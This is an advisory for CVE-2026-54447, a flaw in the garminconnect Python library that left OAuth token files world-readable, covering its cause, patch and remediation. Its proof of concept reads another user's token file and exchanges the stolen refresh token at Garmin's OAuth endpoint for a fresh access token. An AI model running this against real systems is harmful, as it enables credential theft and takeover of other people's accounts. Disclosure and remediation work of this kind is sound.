high · 8.4CVE-2026-54447Jul 15, 2026

CVE-2026-54447: garminconnect World-Readable OAuth Token File

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The garminconnect Python library wrote Garmin OAuth tokens to disk without restricting file permissions, letting any local user on a shared machine read the token file and hijack the victim's Garmin C

Packagegarminconnect
Ecosystempip
Affected<= 0.3.4
Fixed in0.3.5

The problem

garminconnect versions up to and including 0.3.4 persisted OAuth tokens via `Client.dump()`, which called `Path.mkdir()` and `Path.write_text()` with no explicit `mode` argument.

Under the default Linux umask of `022`, this produced a token directory at `0o755` and `garmin_tokens.json` at `0o644`, both world-readable. The file serializes `di_token`, `di_refresh_token`, and `di_client_id`. Any unprivileged local user could open and read it without any elevated access.

Proof of concept

A working proof-of-concept for CVE-2026-54447 in garminconnect, with the exact payload below.

python
# On a shared host, an unprivileged second user can read the victim's token file directly:
cat /home/victim/.garminconnect/garmin_tokens.json

# The file is world-readable (0o644) under umask 022:
# -rw-r--r-- 1 victim victim ... garmin_tokens.json
#
# Extracted refresh token can then be exchanged for fresh access tokens:
import json, requests

tokens = json.load(open("/home/victim/.garminconnect/garmin_tokens.json"))
refresh_token = tokens["di_refresh_token"]
client_id    = tokens["di_client_id"]

resp = requests.post(
    "https://diauth.garmin.com/api/v1/oauth2/token",
    data={
        "grant_type":    "refresh_token",
        "refresh_token": refresh_token,
        "client_id":     client_id,
    },
)
print(resp.json())  # returns a fresh access_token

The root cause (CWE-732) is that `Path.mkdir()` and `Path.write_text()` both inherit permissions from the process umask. No `mode=` argument was passed, so the umask of `022` produced group- and world-readable results.

The patch (commit `77a3837`) explicitly passes `mode=0o700` to `mkdir()`, then opens the token file with `os.open(..., O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW, 0o600)` so the kernel creates it at `0o600` before any data is written. A defensive `p.chmod(0o600)` also tightens any pre-existing loose file on the next write.

The `O_NOFOLLOW` flag closes a secondary symlink-race vector where an attacker could pre-place a symlink at the token path to redirect the write to an arbitrary file.

The fix

Upgrade to `garminconnect >= 0.3.5`:

```bash pip install --upgrade garminconnect ```

Upgrading only tightens permissions on the NEXT write. Fix any token file already on disk immediately:

```bash chmod 700 ~/.garminconnect chmod 600 ~/.garminconnect/garmin_tokens.json ```

If the file was exposed on a shared host, treat the refresh token as compromised. Delete the token store and re-authenticate to mint a fresh token, then consider revoking the old one via Garmin's account settings.

Reported by EQSTLab.

References: [1][2][3][4][5]

Related research